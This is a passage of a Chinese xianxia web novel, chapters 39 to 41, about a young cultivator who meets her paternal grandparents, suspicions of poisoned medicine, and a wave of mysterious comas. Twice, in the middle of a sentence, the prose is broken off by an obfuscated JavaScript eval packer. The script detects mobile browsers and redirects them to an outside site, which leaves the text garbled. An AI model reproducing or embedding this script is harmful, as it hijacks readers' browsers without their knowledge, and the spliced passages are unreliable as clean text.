明若遥原本还想着约薛予蓁去堇衣镇里逛逛夜市,最后却只能搬张小桌子到结界外面同她一齐补缺了一个多月的课业。 39. 第三十九章 亲人 半个月的时间说长不长,说短也不短。但施明尘说到做到,真将众人拘在了各自的住所内拘了半个月。 熬过这漫长的半个月,薛予蓁险些不认识去主峰的路怎么走。而施淼淼则是一到时间就跑去了致远殿,薛予蓁不敢去想自己师父会被师姐如何骂一顿。 “真狠啊。”重新聚在一起的一刻钟里,这句话叫许乐禾说了不下十次,“宗主真是太狠了。用不了灵力,我这半个月,给药圃松土松得险些手断了。”他趴在石桌上,虚弱地朝几人晃了晃自己的手臂。 嘴里虽是这样说的,但修整的这半个月,也确实让几人感到境界稳固了不少。 薛予蓁在秘境里得到了父亲的教导,本想着回宗后便仔细练练。谁料想却是半个月没能碰着剑,但这半个月来她虽不能动用灵力,却也没少在心中演练。 随手拿了把木剑挽了个剑花,薛予蓁久违地感到了放松,看向子书珹问道:“子书师兄,来过两招?” “小风筝,师兄很是乐意陪你,但不巧了。”子书珹无奈地摊开手,小巧的弟子令在掌心中一闪一闪,他深深地叹了一口气,“我那不成气候的师父,又在找我。” 说完便满身沧桑地走了。 许乐禾看着他这样仿佛看见一个陌生人,纳闷道:“他这是怎么了?看着不像是去找闵榭长老,倒像是要去被什么精怪吸/精/气。” 徐赠春道:“闵榭长老给今年新进宗门的弟子开了阵法课。” 许乐禾先是愣了一秒,而后不顾形象地哈哈大笑起来,“怪我怪我,险些忘记了也是到这个时候了。可怜的子书兄,每年都要被叫去批改卷子,哈哈哈哈哈哈。” 徐赠春跟着幸灾乐祸地笑了两声。 薛予蓁根本不敢笑。她每年的阵法考核都不过关,今早被解禁足后也是交去了一份功课上去。施淼淼对她这份功课的评价是足足沉吟了半刻钟,而后委婉地劝她可以适当地放弃一些不熟悉的课业。 薛予蓁绝望地闭了闭眼,不敢去想要是子书珹看到自己那份功课时会不会被气晕过去。她站起身,皮笑肉不笑地朝两人说道:“徐师姐,许师兄,我先回去了。” 许乐禾偏头看她,“怎么,小风筝,我不配和你过两招。” 听见这话,徐赠春和薛予蓁双双愣住。 两人沉默半晌后,薛予蓁还在犹豫着要不要和他意思意思打两下,坐在他对面的徐赠春就不客气地回道:“师兄,你还记得五年前的五宗大比,你连预选都没进吗?” 薛予蓁都做好许乐禾生气的准备了,谁知这人一拍桌子,奇道:“师兄?我的天呐,师妹,你多久没喊过我师兄了?我想想,快十年了吧?” 徐赠春懒得理这个傻子,转向薛予蓁,道:“小风筝要不要和我练练?” 徐赠春身法了得,招式凌厉,薛予蓁很早就想和她过两招了。谁知还没开口,薛予蓁的弟子令就亮了起来,与此同时,一条蓝色的小鱼游到她面前,传出褚霁远的声音,“予蓁,速来一趟致远殿。” 去往致远殿的途中,薛予蓁还在想到底出了什么事情,会不会有关宁沂秘境。所以在殿外看见元弋晓和柳倾云是并不意外,她脚步未停,想着朝两人点点头算是打招呼了,却没想到那两人看见她的反应那么大。 一个贴在左边,一个站在右边,将她夹在中间。薛予蓁还当是自己没同他们好好打招呼的缘故,谁知柳倾云一上来就开始摸她的脖子。 “这是在做什么呀!倾云姐姐,快放开我。”薛予蓁艰难地把自己从柳倾云的臂弯里拔出来,心有余悸地摸摸了自己的脖子,眼神都有些恍惚,“为什么要掐死我?” 柳倾云自小便力气大,一时间忘记收力,闻言尴尬地咳了一声,“许久不见了,予蓁。”她也不绕圈子,直奔主题,“你先前脖子上挂的那个玉坠呢?” 如今再提到玉坠时,薛予蓁已经能很好的控制自己的情绪了。她虽然不理解柳倾云为什么玉坠那么感兴趣,但还是老实回答道:“玉坠略有破损,我收起来了。” 看着两人的神色,薛予蓁还是没忍住多问了一句,“上次在宁沂秘境,两位就对我的玉佩格外在意,这是为什么?” 说话间,致远殿的门开了,一早来找施明尘吵架的施淼淼神情复杂地走了出来,看见薛予蓁,轻声道:“小风筝,想知道为什么的话,进去说吧。”又看了一眼元弋晓,“元公子也请一起。” 薛予蓁不明所以,但还是被柳倾云推着走到门口。路过施淼淼时被她牵住了手,她欲言又止道:“小风筝……” “师姐,到底怎么回事啊?”到这里还看不出来事情是关于她的,薛予蓁就能顶替许乐禾去当傻子了,她心中忐忑不已,抓住施淼淼不愿意再往前走。 施淼淼沉默了一下,摇摇头,“也许称得上是好事。别怕,师父和师兄都在里面。” 如施淼淼所言,施明尘和褚霁远确实在正厅内。除了他们俩之外,还有一男一女坐在一旁,许是修为高深,薛予蓁从背影看不出年纪,只轻声先喊了声师父。 施明尘还没作声,那一男一女听见声音倒是急忙转身看她。看着三四十岁的模样,但浑身气度非凡,不怒自威。薛予蓁心慌,正想要去看褚霁远,那名女人却快步走到了她面前,看动作是想要拉她的手。 薛予蓁一紧张,条件反射地往旁边一闪,躲开了她的手。女人动作一僵,眼中盛满悲戚,柔声道:“好孩子,躲什么啊…” “我……”薛予蓁根本不认识这个人,但看她这副模样,也于心不忍,支吾着不知道说什么。 元弋晓上前扶住女人,轻声道:“祖母,她还什么都不知道呢?”说罢,带着人回到座位上。 薛予蓁跟着他们走上前,问道:“师父,这两位是?” 施明尘叹了一口气,朝她招招手,示意她上前,“来,小风筝,到师父这来。” 待薛予蓁走到他身边时,他将手搭在她的肩上,为她介绍面前的两人,“这位是崇涧宗的宗主,旁边是他的夫人。”他顿了一下,继续道,“…也是你的祖父母。” 薛予蓁猛地扭头看着他,“什么?!” 她语无伦次地否认,“怎么会呢?不会的,我爹说过,他,他是,他,他的父母在山——”说着说着,薛予蓁顿住。 记忆里,爹爹永远都是云淡风轻温和知礼的模样,会陪兄长和自己在小院里下棋,玩游戏,会给他们讲故事。夏日炎热的夜晚里,一家人坐在院子里吹着夜风,从来都是娘亲给他们讲她以前四处游历的故事,讲在某个地方捡到了父亲的故事。而爹爹,从来没有提及过自己的旧事,只说父母亲人都在山上。后来,薛予蓁稍微长大一点后被带去堇衣镇玩,看见有几位挎着竹篮的婶婶围在一起,说是要上山祭祖。从那以后,小予蓁就不再在爹爹面前问这些事情,还在清明的时候认真地问过爹爹要不要上山去给他们上香。 想到这里,薛予蓁有些恍惚,当时爹爹的反应是什么? 男人愣了一下,随即揉着她的脑袋把她抱在怀里,忍着笑说道:“真是爹爹的好孩子。” 十几年后总算是反应过来自己当时会错意的薛予蓁连带着脖子都红了,她结巴了一下,“我,我爹他没说过……” 元弋晓看她这样,提醒道:“予蓁,先前那块玉佩,拿出来给我们瞧瞧吧。” 薛予蓁从储物囊里拿出那枚包裹严实的玉佩,小心翼翼地递给元弋晓,“给。” 元弋晓看见玉佩时眼睛便亮了一下,转而放在元重渊和付霖月面前,道:“祖父,祖母,是小舅舅的玉佩!” 付霖月抚摸着上面的梧桐叶,点点头,“是,是他的。是他出生前,我亲自雕的,我怎么会认不出……”一瞬间,上位者的气息消失,取而代之的是一个母亲对孩子的想念。没人比她更熟悉这枚玉佩,多少个日夜,她攥着它祈求保佑自己的孩子平安。 元重渊眼眶也有些泛红,搂着她的肩,低声安慰着。 看着两人这样,薛予蓁心中大撼,什么秘境什么剑法全都不见,唯独只有雨夜母亲胸口的血污和父亲破碎的身形。她重重地闭了一下眼,再睁开却发现自己看见的不是致远殿,而是自家破败的小院,是至亲残缺的尸身,是两位长辈面目狰狞的质问。 她突然觉得自己的头很痛,也觉得好像呼吸不上来了,好像有一只无形的手紧紧掐住了脖子。她仔细一瞧,才发现那人长着自己的模样。 施明尘见两人这般,也不好出声,想着自己是不是该回避一下,就感觉自己的衣袖被扯了一下,扭头一看,薛予蓁不知何时躲到了自己身后,脸色煞白,呼吸急促,小声地在说着什么。 他凑近一听,薛予蓁不断地再重复着“师父,救救我,我想走了”,拽着衣袖的手也在微微发抖。 褚霁远察觉到薛予蓁的不对劲,走到旁边握住她的手,轻声道:“小风筝?小风筝?别怕,深呼吸。” 付霖月也看出薛予蓁的异常,她拨开元重渊的手,想去拉薛予蓁。薛予蓁却是又一次躲开了,她眼中含泪,眼神失焦,嘴唇泛白,鼻尖不安地颤抖着,“对不起,我不是有意的……” 见她这样,褚霁远想要提议待她缓过来后再谈。付霖月却摇头拒绝了,她慢慢地伸手靠近薛予蓁,轻轻地捧着她的脸,声音虽有些低哑但依旧温和,“好孩子,这不怪你,什么都不怪你。小风筝,我也可以这样喊你吗?或者阿予?你父亲是不是也这样唤你的?” 随着付霖月轻声的呼唤,薛予蓁的眼神逐渐聚焦。耳边原来不是质问,眼前也并非自己。她恍惚着喊了一声“前辈”。 付霖月带着她坐到一旁,“不是什么前辈,是祖母。阿予,是祖母。” 薛予蓁愣了一下,紧抿着嘴唇不想叫眼泪落下,“可是,因为我——” 付霖月抬手打断了她,道:“自你父亲离开家,我和你祖父就知道,始终会有一天,我们会看见他的长明灯熄灭。一开始,我恨不得时时刻刻守在灯面前,有一丝的风吹草动我就可以行动,去将他带回自己身边。我们一开始也想过把他绑回去。可是他,实在是太聪明了。” 元亓,元淞明,他们最小的孩子。所有人都在期待着他的降生的时候,也有人终于看不惯他们的风光无限。连日的问候和庆贺叫处于对孩子出生的期待中的母亲放松了警惕,一份带毒的羹汤被误食了。 那段时日,付霖月花了多少灵力去逼出毒素,十月怀胎,五六个月都在祈祷孩子平安无恙。 可保住了性命,却叫新生的孩子永远失去了进一步的可能。 反复无常的胎毒叫他痛苦不堪,天生灵脉被寄予的厚望和永远填不满的干涸内府成为一道道束缚他的枷锁。 元亓从开始记事起不知花了多少时间,费了多大的心思,却只能在二十岁那年被告知自己止步于金丹,而没有解药胎毒让他的生命时刻被威胁着。 众人都以为他会走火入魔,但这位天之骄子却欣然接受了这一切。他褪去以前沉稳用功的模样,整日在宗门内招猫逗狗,尽做些惹人厌烦的事情。 但没人会责怪他,本就心有愧疚的父母更是纵容。 可也没人会想到,这位拥有无上宠爱的少爷,有天会跑了。 没人知道他去哪了,就像是没人会知道在那十年的闲散生活中,元亓花了多少功夫去看自己不喜欢的阵法,研究不懂的符箓…… “每一次觉得找到了他,都只能看到他留下来的替身符。”付霖月无奈地笑了一下,“次数多了,我们就再也没有找到过了,他变得更厉害了。” 也因为最后一次找到那张飘在风中的替身符是在襄州一座不知名的山上,山巅的一棵青松上挂着一张小纸条。 上面赫然写着:宁为五洲枯骨野魂,不做金锁笼中雀。 他们爱他,愧对他,最终也尊重他的选择,即使会失去他。 薛予蓁只知道爹爹的身体不好,却不知其中缘由,如今听了付霖月的话,脑海中似乎浮现了年轻时元亓意气风发的模样。 她心中难过,也清楚作为母亲的付霖月更难过,于是她轻轻地回握住她付霖月的手,踌躇着喊了句祖母。 付霖月惊喜地看着她,继续道:“后来他似乎是安定下来了,开始给我们传信了。也不知他怎么做到的,我们怎么都追踪不到信的来源,想来他只是希望我们知道他还活着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471936|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身边已经有了相伴的人。” 信中内容大多是关于妻子和孩子的,今日夫人打了什么好东西回来,儿子又长高了多少。元重渊和付霖月,还有元亓上面的兄长和姐姐其实不太在乎他的妻儿,但元亓似乎是在告诉他们,不必惦记他,好好地“看看”他的孩子,他的爱人。 长明灯自他出生,燃了那么久的时日,在四年前的一场大雨中,熄灭了。 得知儿子死讯的那一刻,他们便想要寻找,可没有线索,元亓一点东西都没漏给他们。 “直到半月前,淞明的长明灯亮了一瞬,但我那时只以为是眼花,便没太在意。但弋晓回来后,告诉我他看见了小舅舅的玉佩,还看见有人使他的剑法。”付霖月抱歉地看着薛予蓁,“这些年来,我们一直在找和他有关的人,但他藏的太死了,我们还以为你们都遭遇了不幸。”她心疼地抱住薛予蓁,“好孩子,这几年让你受苦了。” 元重渊也走到了两人身边,一手搂着一个人,“受苦了,孩子。” 久违地被亲人圈在怀里,感受着付霖月身上传来的暖意,薛予蓁还觉得有些不可置信,她喃喃道:“真的,没有弄错吗?” 元重渊点了点她的眼睛,道:“不会错的,你的眼睛和你父亲很像。” 薛予蓁摸了摸自己的眼睛,“阿娘也说,我和哥哥都随了爹爹的眼睛。” 付霖月和元重渊在薛予蓁来之前已经听施明尘说过她之前的遭遇了,听见这话,两人都默契的不去多问,以免让她难过。 看着好不容易相认的祖孙,施明尘朝褚霁远招了招手,两人打了招呼后去了偏殿。 殿外,看着薛予蓁进去后,施淼淼便和柳倾云对上了视线。两人都不是扭捏的性格,几句话就聊到了一块儿去了。 柳倾云伸手比划了一下,“当初跟着元伯伯来知源宗的时候,你还只有这么高,小小的,跟糯米团子一样。” 施淼淼笑了一下,“那真是许久未见了。倾云姐姐,不知几位长辈还要聊多久,不如去我峰上坐坐?” 柳倾云点头,“好呀。早就听闻竹晏峰经年桃花盛开,美的不似人间。” “百闻不如一见,请。”施淼淼也不谦虚,示意她跟着自己走。 等到了竹晏峰才发现,有不少人在入口等着。 徐赠春跟着浮鸢长老身后,朝施淼淼挥了挥手,“师姐,师父来给你诊脉。” 浮鸢长老看着柳倾云,笑道:“淼淼今日有客人?若是不方便,我改日再来。” 闻言,柳倾云急忙摆手,“长老不必在意,还是淼淼的身体重要。” 听她这样说,施淼淼也表示不必改日。 说话间,子书珹也过来了。他满身倦意难掩,手里拿了张纸,看见浮鸢长老时行了一礼,打起了点精神,“淼淼,你竹晏峰今日都是热闹。” 施淼淼引着众人到院里的石桌旁坐下,撩起衣袖露出手腕递给浮鸢后才有空理他,“今日小风筝不在,子书师兄怎么还愿意来我这?” 听见小风筝三字,一旁赏花的柳倾云不动声色的竖起耳朵。 子书珹长叹了一口气,将手中的纸放在了桌子上。施淼淼探头一看,发现是薛予蓁的阵法功课后又讪讪地把目光移开,颇为心虚。 “我自然是来同你说说该如何劝你的好师妹放弃这门课。”子书珹心累的找了几片花瓣,将薛予蓁写在卷上的阵法摆了出来,输入灵力后,一朵巴掌大的乌云出现在了众人眼前,一阵雷鸣电闪后,这朵小乌云开始下起了桃花雨。 在场的人都沉默了,浮鸢性格温和,授课是多以鼓励为主,从不训斥弟子。但看见这荒唐的桃花雨,还是没忍住笑了下,摇摇头,“这小丫头…”又看向施淼淼,“淼淼这脉象比先前好太多了,最近是有什么新的药方?” 施淼淼摇摇头,“许是出去走了一趟,心情比之前明朗许多。” 浮鸢点点头,“那便还是按照之前的方子,好生温养着。”她吩咐着徐赠春将准备好的药材拿出来,“我还有事,不多聊了。赠春,你…” 自秘境之后,徐赠春和子书珹的关系愈发不好,闻言摇摇头,“我回去帮您吧师父。” 待两人走远后,柳倾云捻起草药闻了闻,道:“淼淼,你一直都在吃这个?” 施明尘的小女儿身负奇毒的事情,五洲的宗门几乎都知道。柳倾云知道此事,施淼淼并不意外,她点点头,自嘲道:“废人一个,只凭着这些东西吊着一条命。” 换作以往,柳倾云听见这话肯定会笑着叱骂她乱讲话,此刻却格外严肃。她和元弋晓自小就好动,仗着身份没少在崇涧宗乱窜,而他俩最喜欢去的地方就是元亓的房间。这位逃跑的小舅舅,书房里什么乱七八糟的东西都有,也包括他自己的病。 施明尘也是知道这个的,他也曾去崇涧宗求过药。故而柳倾云也知道,施淼淼的症状和元亓自己描述的毒发时的症状简直一模一样,但浮鸢给出的这药,却与元亓曾经吃的不一样。若是以两人中毒的程度不同为由而调整了方子,也说不过去。更别说柳倾云的母亲也是赫赫有名的医修,虽然她谈不上精修,但看出药性是否对冲还是足够了。 桌上的这个药方,单看没什么差错,可根据当初元亓列出来的方子来看,有几味药都与他们体内的毒药相生。时间不长倒也无所谓,若是时间长了,只会助长毒药的发作。 子书珹暂时顾不上什么阵法不阵法了,拿过药包便收了起来,嘱咐道:“先不要声张,我会去找宗主说明情况。这几日叫凫华她们给你熬点别的补药先喝给外人看。” 施淼淼心中却还有犹豫,自她记事起,便是浮鸢在替她看病,突然有人说她在害自己,从情感上来说,便难以接受,“可——” 子书珹不客气地打断她,目光沉沉,“师妹,你知道我自小便看徐赠春不顺眼,浮鸢长老与我而言也不过是一个需要尊重的师长。于我而言,随便一个陌生人都都比她们更可信。” 施淼淼知道子书珹平常懒得处理人际关系,所以对师弟师妹都是一个态度,不冷不热,而对于徐赠春,却是实打实的厌恶。她看着子书珹和柳倾云认真的神色,还是应了好。 40. 第四十章 灾祸 夜深露重,薛予蓁站在山门前送走了付霖月和元重渊,直到瞧不见灵舟的影子后才转身朝宗门走去。 身边蹭过来一个人,子书珹道:“怎么,你的好祖母不打算带你一块儿走吗?”他话中带刺,一副显然不太喜欢他们的态度。 不过思及子书珹对谁是都是这样的态度,薛予蓁也没太在意,只叹了口气,“若是跟着祖母走了,岂不是见不到子书师兄了?” 听她已经能开玩笑了,子书珹便知道她是真的恢复心情了,低笑着道了一句贫嘴。 “对了师兄,倾云姐姐走之前,同我说师姐的药有问题。”两人正顺着山道往大殿的方向走,走到半途,薛予蓁突然停下来,看向子书珹,神色肃然,“我一直都很好奇,师姐到底中的是什么毒。” 子书珹早就料到柳倾云不会瞒着薛予蓁,但对于这个问题,他只能摇头,“不知。” 这是薛予蓁未曾想到过答案,她拧着眉,重复道:“不知?那浮鸢长老的药是如何开出来的?难不成——” “浮鸢之事,暂且不谈。”子书珹抬手打断她,示意她小心隔墙有耳,“淼淼的毒,的确没有解药。你也知道我家世代都是炼丹师,我娘也曾为她诊过脉,很奇怪,毒发时身体就像是一盏满是裂痕的茶盏,无论怎么修补都无济于事,但不发作时却与常人无异。那毒就像是融进了血液、灵脉的细小虫子。褚夫人当年中毒后已是反应迅速地想要运功将药毒逼出,却还是没来得及。” “那凶手?”薛予蓁问道。 “抓到了,但也无用,不过是被魇住了的杂役,被抓住后就服毒自尽了。”子书珹见薛予蓁脸色写满了担忧,宽心道,“小风筝,我已经将此事禀告给宗主了,你也清楚,淼淼的事情没人比他更尽心。你如今好不容易才找到家人,也可以不用活得那么战战兢兢了。” 平心而论,付霖月和元重渊的确待她十分珍重,临走前拉着她的手问她要不要一起回崇涧宗的关切神色也不似作假。薛予蓁也确实因为亲人相认而感到欣喜和满足,可待回过神后,心中总有隐隐的惶恐和不解。 薛予蓁拧着一小块衣角,似是想到了什么高兴的事情,露出一抹清浅的笑容,“她给我讲了很多爹爹小时候的事情。听起来很厉害,很生动,我知道她同我想念爹爹一样想念着他。”说着,声音有些颤抖,“我其实很想回去看看爹爹曾经住过的地方,可是,我很怕她难过。我还活着的存在就是在提醒她,她的儿子已经死了。” 付霖月真的给她讲了很多关于元亓的事情,很多意气风发,啼笑皆非的故事,薛予蓁觉得好奇时总是抬头看她。每一次都能看见这位坚韧的女人眼中深深的怀念和悲戚,因为看见自己而让付霖月感到了悲伤,这样的认知将薛予蓁从喜悦中狠狠地拖拽出来。在被发现失态之前,薛予蓁猛地移开目光,此后她再也没敢抬头去看两人。 “小风筝,这不是你的错……”子书珹心疼地看着薛予蓁,难得手足无措,不知道该说些什么来安慰她。 但薛予蓁只是笑着摇摇头,“我当然知道这不是我的错,没有人想死,想要家破人亡。”这是四年来头一次她如此直白地将这件事情摆在明面上来说,“我会弄清楚到底是怎么回事,会亲手给他们报仇。” 月华如练,少女在柔和的月光中仿佛发着光,“再说了,我在渝州待了十七年,只有这里才算得上我的家。” 致远殿内,施明尘和褚霁远两人对坐,面前的桌案上散乱地堆着书卷。两人自崇涧宗的人走后就在伏案翻看最近几年来渝州各地的灾祸。此刻,即便是不需要休息饮食的强大修士都感到了疲倦。 施明尘抛开笔,撑着额头,“真找不着了。” 褚霁远只多坚持了两页,也将笔搁在一旁,长吁一口气,“那便奇了怪了。” 五日前元重渊和付霖月来知源宗除了认亲之外,还与他们交换了目前已知的线索。崇涧宗在汎州境内也抓着了不少活人试药的世家宗门,皆是一些名声不大的小门小派,背后之人也是一概不知,只知道都在围绕着“碧绛草”而试药。 元重渊面色凝重,语气严肃,“明尘老弟,他们的目的昭然若揭,沉渊峰的封印怕不是保不住啊。” 五百年前以宁沂上仙为首的五大上仙在封印魔域入口时,是以摧毁连通上重天的镇天灵脉为代价。而五位上仙在飞升之前为了避免封印被人恶意破坏,将灵脉碎片分别安插在五洲的五个方位设下第二个封印。这五个阵眼便是如今五宗的所在地,而灵脉碎片作为阵石被五宗世代守护。 知源宗的阵石在立宗之际便封在沉浮楼内重兵把手,而沉浮楼的钥匙则由历代宗主持有。到了施明尘这一代,他重重地叹了一口气,“自我与夫人结为道侣的那一日开始,我便同她一起管理知源宗上下的事务,她比我心细谨慎,我便将钥匙给了她。” 那么多年来都平安无事,偏生二十几年前褚茗雁生产场面太过艰难混乱,让他忘记了钥匙这回事,如今被提起来才惊觉沉浮楼的钥匙已经二十多年不见踪影了。 褚霁远道:“师父可曾试探过沉浮楼的封印?” 施明尘原先是每隔一年去确认封印,这几年形式动荡,他便改为一月一查,“前几日才看过,完好无损,值守的弟子也说并未出现异常。” 褚霁远闻言一笑,“那便不成问题,钥匙不在我们手中倒也无足轻重。” 施明尘乍一听还有些不解,而后一想,褚霁远说的也在理,找不着钥匙确实是一个问题,但比起费尽心思提防有心之人,连自己都不知道在哪显得更为安全。二十几年过去,钥匙一事到现在也只有三人知道,这么久都相安无事,没道理自己去生出些事端来。 施明尘隔着桌案递给褚霁远一个赞许的目光,夸道:“师父真是老了,还是你们年轻人脑子灵活。” 褚霁远看着自己面前容貌看上去不过三十出头的师父,不言语,只在低头翻看卷宗时从鼻腔里泄出一个冷淡的呵。 施明尘:…… “爹,师兄,暂且休息一下吧。”施淼淼的造访及时止住了师徒俩的互殴,她提着一个精致的食盒推开书房的门,“我带了些吃食来,都是用后山的灵植灵兽做的。” 她清楚两人都已辟谷,带的数量不多,小巧的碟子中放了四五个泛着热气的桃花酥,下层则是两碗莹润剔透的莲子藕粉。 施明尘不喜甜食,只端了藕粉去喝,褚霁远则是就着藕粉,三口一个桃花酥。两人被困在书房里三日多,身体上没什么倦意,却觉得精神上遭受了巨大的折磨。终于得了个休息的时间,一边慢条斯理地吃着,一边问着施淼淼和薛予蓁的近况。 咽下一口香甜的桃花酥后,褚霁远问道:“小风筝呢?近日在做些什么?” “在上课呢。前几日同子书珹去山下轮值了,今日才回来。”施淼淼歪着头想了想,“这个时候约莫是在同他练剑。” 施明尘摇摇头,“这孩子怎么总和子书珹混在一起,可别让他把小风筝给我教坏了。”虽说子书珹算是他看着长大的,但就是因为看着他长大才知晓他是个什么德行。 施淼淼看着他一眼,幽幽道:“若是你有时间去教小风筝,她也不必天天跟着子书珹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471937|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “这……”施明尘一时语塞,心虚了一下,“为师这不是忙着呢吗?” 他干咳一声转移开话题,“你呢?近日可还好?身体如何?” 施淼淼闻言愣了一下,似乎是想说什么,话还没出口便被打断了。 “宗主,褚师兄,诸位长老已经再仪事堂候着了。”一名弟子走进书房,看见施淼淼,又道,“师姐,许久不见。” 施淼淼认得他,是仪事堂长老的弟子,闻言一笑,“许久不见。”她收拾好东西,站起身,“我便不打扰你们议事了。” 四人一起出门,走到门口时,褚霁远留了施淼淼一步,“方才见你要说话,可是身体有什么不适?” 施淼淼摇摇头,“其实也算不上,只是近日来偶尔觉得有些昏沉,不碍事。” 褚霁远点点她的额头,“别把自己的身体当儿戏,叫小风筝多陪陪你。” “前几日浮鸢长老给我诊过脉,没说有什么异常。”施淼淼无奈一笑,“况且,师兄关心则乱,忘记了小风筝可不是我的药包,她也有自己的事情呢。” 见褚霁远不说话,施淼淼又说俏皮话想叫他安心,“也或是太久没见到师兄了,方才看见师兄的瞬间,神清气爽!”说罢,还朝他眨了眨眼。 褚霁远失笑,不远处那名仪事堂的弟子又在唤他,只好匆匆嘱咐道:“有任何事都要及时与我们说,之后我叫许乐禾来给你重新诊脉。” 施淼淼目送着他远去,自己提着食盒往竹晏峰去。一阵风悄然袭过,卷起垂落两颊的发丝,施淼淼伸手理了理头发,偏头看去,远山隐在灰蒙蒙的云雾中,风渐渐大了起来,致远殿外的榕树叶片碰撞沙沙作响。 似是大雨将至。 吱呀—— 施淼淼披着外袍推开房门,看着屋檐下收伞的薛予蓁,小声道:“回来了?” 薛予蓁闻声转头,“吵醒你了吗?” 施淼淼摇头,“心中有事,睡不着。”她走上前同薛予蓁一起坐在廊前,问道,“又一个?” 大雨下了三天不见小,院中花落满地。薛予蓁望着在水流中打转的花瓣,很久之后才小声回了一个嗯。 四天前,一名内门弟子慌慌张张地跑到莲微峰找浮鸢长老,说自己同舍的室友陷入了昏迷。莲微峰派了一名医修去探查,却发现那人既无内伤也无外伤,但灵气空虚,意识全无。 那名医修连忙去找了浮鸢长老,令人惊讶的是,竟然连她也并未察觉有什么异常。 一时间内,全宗上下人心惶惶。更叫人惶恐的是,没过几个时辰,一名弟子不过是在课间打了个盹,便再没有睁开眼睛了。 短短四天,包括外门,已经有二十三名弟子陷入这种无故昏迷。 施淼淼轻搂着薛予蓁,安抚道:“怎么了?害怕吗?” 薛予蓁刚从雨中回来,身上冷得可怕,她感激地朝施淼淼笑了一下,“不是…嗯,或许有一些吧?但更多是奇怪,到底为什么会出现这样的事情。” 但到目前为止,还没人能给出答案。几名长老都去查看了情况,但这些弟子年龄性别都不一致,也没有去过什么同样的地方,吃过什么食物,就好像有什么人在众人看不见的地方随心所欲地挑选祭品一样。 最后长老们给出的答案都是,这些弟子或许是中了什么咒术,但具体是什么,没人能给出来。 祸不单行,墟山三百二里外的一个小村庄,张家村全村四十五人,一夜之间,死状可怖,无一幸存。 据驻守那边的门派所言,那晚似乎有一丝魔气浮动。 41. 第四十一章 留映 大雨断断续续下了五六日,放晴的那天,张家村的消息终于传到了知源宗,事关魔族,施明尘决定亲自前往调查。 “朗月,宗内事务你先代为处理,若是有什么你解决不了的就先暂时放着。”施明尘嘱咐道,“浮鸢此人多加留意,但切不可打草惊蛇。至于五宗大比,便让折柳带人前去,你留在宗门主事,再一个,让淼淼和予蓁也一道前往吧。” 前面的话褚霁远都没什么异议,听见最后一句时,他神色稍变,“让她二人一道前往,是否不妥。” 施明尘听了他的话,一时间也有些犹豫,思索片刻后还是摇摇头,“宗内弟子昏迷的事情还未解决,你我二人现在都顾及不到她们。再者,凌河药谷目前嫌疑重大,四年前予蓁一家的灾祸多半也是他们所为,舒宜出逃多年还被死死盯着不放,怕是有什么东西引得他们忌惮。如今她已身死,我怕下一个目标就是予蓁。而浮鸢为何换药也还在调查,将淼淼放在宗门我也不甚放心。” 说着,他叹了一口气,“师父在时便对我说,五洲形式有异,要我多加注意身边之人。继承宗主之位五十余栽,我自认尽心尽力,问心无愧,谁知还有今日这样的担忧……” 褚霁远道:“人心不足蛇吞象。浮鸢之事我会遣人尽快调查,张家村一事有关魔族,事情重大,师父小心行事。” 目送施明尘一行人离去,褚霁远正打算回正殿,却心有所感,扭头一瞧,薛予蓁正朝他跑来,嘴里喊道:“师兄!师父他们已经走了吗?” 褚霁远点头,见她一副失落模样,“若是没走,你要做什么?” 薛予蓁不正眼瞧他,低着头闷声道:“我听许师兄说了张家村的事情,想去看看。” 褚霁远暗骂许乐禾是个多嘴的,面上不显,只笑着给薛予蓁说:“血淋淋的有什么好看,不如想想该如何应对五宗大比。” 近日来事情太多,薛予蓁竟忘了五宗大比要开始了,可就算记得此事,也没想到自己能够去,她暂时将张家村的事情放在一边,微微瞪大眼睛,“啊?我?” 褚霁远接到仪事堂的传书,一边回复,一边道:“对,你。” 见褚霁远有事,薛予蓁心中疑问再多也咽了回去,跟在他身后往回走,但十七岁正是什么话都憋不住的年纪,她忍了一会儿后实在没忍住,问道:“可是师兄,五宗大比真的还能按时举行吗?” “为何不能?” 薛予蓁咳了一声,“许师兄说,清居宗那边也不安定,好些弟子的灵兽都不受控制。” 清居宗这个宗门较为特殊,大半个清安林都是他们的属地,而他们宗门则是隐在林间,鲜少出世,倒也不是弱,只是听说宗门上下小到杂役弟子大的宗主都沉迷于喂养自己的结契灵兽,并不愿意到处奔波。 褚霁远默然,清居宗灵兽暴走的消息就连他都是刚才得知,不知许乐禾那家伙从哪打探到的。 问薛予蓁,她也疑惑地眨眨眼,“许师兄没说,只炫耀自己消息灵通。” 褚霁远:…… 褚师兄冷笑一声,“那你也告诉许乐禾,要是此次大比还折在预选,便去扫三年后山兽圈。” “师妹啊,小风筝啊……”许乐禾恨铁不成钢地看着薛予蓁,扼腕道,“你怎么什么都和褚师兄说?” 薛予蓁眼神游移,躲在子书珹身后朝他吐舌头,“谁让你卖关子,况且,若是许师兄你平日里也用功修炼,也不用担心过不了预选了。” 许乐禾听见这话气不打一处来,但他确实打不过子书珹,只能落寞地拂衣坐下,“一帮子莽夫,我一介医修,为何总要无缘无故同别人打起来?” “可徐师姐就很能打。”薛予蓁无辜道。 许乐禾哼哼笑着,“所以她医术不如我啊。” 